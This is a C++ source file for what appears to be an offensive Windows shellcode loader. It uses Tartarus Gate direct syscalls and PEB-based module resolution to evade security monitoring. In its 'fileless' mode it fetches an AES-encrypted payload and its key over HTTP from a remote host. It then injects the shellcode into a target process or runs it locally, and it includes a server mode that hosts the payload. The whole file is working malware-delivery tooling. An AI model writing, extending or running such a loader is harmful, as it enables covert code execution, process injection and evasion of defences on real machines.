#include "loader_core.hpp"
#include "ingestion.hpp"

#include "../lib/crypto/aes_crypto.hpp"
#include "../lib/net/http_transport.hpp"
#include "../lib/resolve/api_resolver.hpp"
#include "../lib/common/log.hpp"

#include <cstdint>
#include <fstream>
#include <iostream>
#include <vector>

namespace LoaderCore {

namespace {
    TartarusGate::SyscallTable g_sc;
}

TartarusGate::SyscallTable& GetSyscalls() {
    return g_sc;
}

bool Initialize() {
    Log::Banner("Loader Init");
    Log::Info("mode=loader — Tartarus Gate + PEB module resolve");
    if (!TartarusGate::Initialize(g_sc)) {
        Log::Err("Syscall init failed");
        return false;
    }
    Log::Sys("PEB modules: ntdll=%p kernel32=%p bcrypt=%p ws2=%p",
        ApiResolver::GetNtdll(), ApiResolver::GetKernel32(),
        ApiResolver::GetBcrypt(), ApiResolver::GetWs2_32());
    Log::Dbg("syscall table ready (initialized=%d)", g_sc.initialized ? 1 : 0);
    return true;
}

void Shutdown() {
    Log::Dbg("Shutdown: cleaning Tartarus stubs");
    TartarusGate::CleanupStubs();
    g_sc = {};
}

static bool ReadFileToBuffer(const std::string& path, std::vector<BYTE>& out) {
    Log::Dbg("ReadFile: path=%s", path.c_str());
    std::ifstream f(path, std::ios::binary | std::ios::ate);
    if (!f.is_open()) {
        Log::Dbg("ReadFile: open failed");
        return false;
    }
    out.resize(static_cast<size_t>(f.tellg()));
    f.seekg(0);
    f.read(reinterpret_cast<char*>(out.data()), out.size());
    Log::Info("ReadFile: %zu bytes from %s", out.size(), path.c_str());
    return true;
}

static int DispatchShellcode(const Cli::Options& opt, std::vector<BYTE>& shellcode) {
    Log::Banner("Dispatch Shellcode");
    Log::Info("payload size=%zu remote=%s target=%s",
        shellcode.size(),
        opt.remoteIngestion ? "yes" : "no",
        opt.processTarget.empty() ? "(local)" : opt.processTarget.c_str());
    Log::HexPreview("payload", shellcode.data(), shellcode.size());

    if (opt.remoteIngestion) {
        Log::Banner("Remote Ingestion");
        Log::Info("target=%s bytes=%zu", opt.processTarget.c_str(), shellcode.size());

        Ingestion::RemoteTarget target{};
        if (!Ingestion::AcquireTarget(g_sc, opt.processTarget, target)) {
            Log::Err("Target acquire failed: %s", opt.processTarget.c_str());
            return 7;
        }
        Log::Sys("target acquired: PID=%lu hProcess=%p hThread=%p spawned=%d",
            target.pid, target.hProcess, target.hThread, target.spawned ? 1 : 0);

        if (!Ingestion::RunRemote(g_sc, target, shellcode)) {
            Ingestion::ReleaseTarget(g_sc, target);
            Log::Err("Remote injection failed (PID %lu)", target.pid);
            return 9;
        }

        Ingestion::ReleaseTarget(g_sc, target);
        Log::Dbg("target handles closed");
        Log::Ok("Remote done — PID %lu (%zu bytes)", target.pid, shellcode.size());
        return 0;
    }

    Log::Banner("Local Ingestion");
    if (!Ingestion::RunLocal(g_sc, shellcode)) {
        Log::Err("Local execution failed");
        return 3;
    }

    Log::Ok("Local done — %zu bytes", shellcode.size());
    return 0;
}

int RunNormal(const Cli::Options& opt) {
    if (opt.inputPath == "__selftest__") {
        Log::Banner("Self-Test");
        Log::Info("checking PEB modules + AES roundtrip");
        if (!ApiResolver::GetNtdll() || !ApiResolver::GetBcrypt()) {
            Log::Err("PEB module resolve failed");
            return 1;
        }
        Log::Sys("ntdll=%p bcrypt=%p", ApiResolver::GetNtdll(), ApiResolver::GetBcrypt());
        std::vector<BYTE> sample = { 0x90, 0x90, 0xC3 };
        AesCrypto::KeyMaterial km{};
        std::vector<BYTE> enc, dec;
        if (!AesCrypto::GenerateKeyMaterial(km) || !AesCrypto::Encrypt(sample, km, enc) ||
            !AesCrypto::Decrypt(enc, km, dec)) {
            Log::Err("AES roundtrip failed");
            return 2;
        }
        Log::Dbg("AES roundtrip ok: plain=%zu enc=%zu dec=%zu", sample.size(), enc.size(), dec.size());
        Log::Ok("Self-test Just for Fun :) (PEB + Tartarus + AES) -> Checks PEB walk -> Dynamic Resolution -> Retrive SSH -> Create STUB , Get Gadget");
        return 0;
    }

    Log::Banner("RunNormal");
    Log::Info("input=%s remote=%s", opt.inputPath.c_str(),
        opt.remoteIngestion ? opt.processTarget.c_str() : "no");

    std::vector<BYTE> shellcode;
    if (!ReadFileToBuffer(opt.inputPath, shellcode)) {
        Log::Err("Cannot read file");
        return 2;
    }

    return DispatchShellcode(opt, shellcode);
}

int RunEncrypt(const Cli::Options& opt) {
    Log::Banner("RunEncrypt");
    Log::Info("AES encrypt file=%s", opt.inputPath.c_str());
    std::wstring wpath(opt.inputPath.begin(), opt.inputPath.end());
    std::wstring encPath, keyPath;

    if (!AesCrypto::EncryptFileToDisk(wpath, encPath, keyPath)) {
        Log::Err("AES encrypt failed");
        return 2;
    }

    Log::Ok("Encrypted — use .enc + .key or --server --enc AES");
    Log::Info("output: .enc + .key written");
    return 0;
}

int RunFileless(const Cli::Options& opt) {
    HttpTransport::Endpoint ep{};
    if (!HttpTransport::ParseSource(opt.sourceHost, ep)) {
        Log::Err("Bad --source");
        return 2;
    }

    Log::Banner("Fileless Client");
    Log::Info("source host=%s port=%u aes=%s remote=%s",
        ep.host.c_str(), ep.port,
        opt.useAes ? "yes" : "no",
        opt.remoteIngestion ? opt.processTarget.c_str() : "no");
    Log::Info("GET http://%s:%u/api/v1/payload%s", ep.host.c_str(), ep.port,
        opt.useAes ? " + /api/v1/key" : "");

    std::vector<std::uint8_t> payload;
    if (!HttpTransport::FetchPayload(ep, payload) || payload.empty()) {
        Log::Err("Payload fetch failed");
        return 3;
    }
    Log::Info("payload fetched: %zu bytes", payload.size());
    Log::HexPreview("http payload", payload.data(), payload.size());

    std::vector<BYTE> shellcode;

    if (opt.useAes) {
        Log::Banner("Fileless AES Decrypt");
        std::vector<std::uint8_t> keyBlob;
        if (!HttpTransport::FetchKey(ep, keyBlob) || keyBlob.empty()) {
            Log::Err("Key fetch failed");
            return 4;
        }
        Log::Info("key blob fetched: %zu bytes", keyBlob.size());

        AesCrypto::KeyMaterial km{};
        if (!AesCrypto::UnpackKeyMaterial(keyBlob, km)) {
            Log::Err("Key unpack failed");
            return 5;
        }
        Log::Dbg("key material: key=%zu iv=%zu", km.key.size(), km.iv.size());

        if (!AesCrypto::Decrypt(payload, km, shellcode)) {
            Log::Err("Decrypt failed");
            return 6;
        }

        Log::Info("AES decrypt OK: cipher=%zu plain=%zu", payload.size(), shellcode.size());
    } else {
        shellcode.assign(payload.begin(), payload.end());
        Log::Dbg("plain payload -> shellcode (%zu bytes)", shellcode.size());
    }

    return DispatchShellcode(opt, shellcode);
}

int RunServer(const Cli::Options& opt) {
    std::vector<std::uint8_t> payload;
    std::vector<std::uint8_t> keyBlob;

    Log::SrvBanner("Server Prep");
    Log::Srv("input=%s aes=%s port=%u",
        opt.inputPath.empty() ? "(payload.enc fallback)" : opt.inputPath.c_str(),
        opt.useAes ? "yes" : "no",
        opt.serverPort);

    if (!opt.inputPath.empty()) {
        std::vector<BYTE> plain;
        if (!ReadFileToBuffer(opt.inputPath, plain)) {
            // ReadFile uses loader channel; mirror for server verbose
            Log::Srv("failed to read server file: %s", opt.inputPath.c_str());
            Log::Err("Cannot read server file -> Check file location ;( )");
            return 2;
        }
        Log::Srv("loaded file: %zu bytes from %s", plain.size(), opt.inputPath.c_str());

        if (opt.useAes) {
            AesCrypto::KeyMaterial km{};
            if (!AesCrypto::GenerateKeyMaterial(km) ||
                !AesCrypto::Encrypt(plain, km, payload)) {
                Log::Err("Server AES prep failed");
                return 4;
            }
            keyBlob = AesCrypto::PackKeyMaterial(km);
            Log::Srv("AES prep: plain=%zu cipher=%zu keyBlob=%zu",
                plain.size(), payload.size(), keyBlob.size());
            Log::Ok("Server AES mode — port %u", opt.serverPort);
        } else {
            payload.assign(plain.begin(), plain.end());
            Log::Srv("plain mode: serving %zu bytes", payload.size());
            Log::Ok("Server plain mode — port %u", opt.serverPort);
        }
    } else {
        std::ifstream encFile(L"payload.enc", std::ios::binary | std::ios::ate);
        if (!encFile.is_open()) {
            Log::Err("No file — use: loader.exe --server <file.bin>");
            return 2;
        }
        payload.resize(static_cast<size_t>(encFile.tellg()));
        encFile.seekg(0);
        encFile.read(reinterpret_cast<char*>(payload.data()), payload.size());
        std::ifstream keyFile(L"payload.key", std::ios::binary | std::ios::ate);
        if (keyFile.is_open()) {
            keyBlob.resize(static_cast<size_t>(keyFile.tellg()));
            keyFile.seekg(0);
            keyFile.read(reinterpret_cast<char*>(keyBlob.data()), keyBlob.size());
        }
        Log::Srv("fallback files: payload.enc=%zu payload.key=%zu",
            payload.size(), keyBlob.size());
    }

    Log::SrvBanner("Fileless Server");
    if (!HttpTransport::RunServerMemory(opt.serverPort, payload, keyBlob, opt.server_verbose)) {
        Log::Err("Server bind failed");
        return 5;
    }
    return 0;
}

} // namespace LoaderCore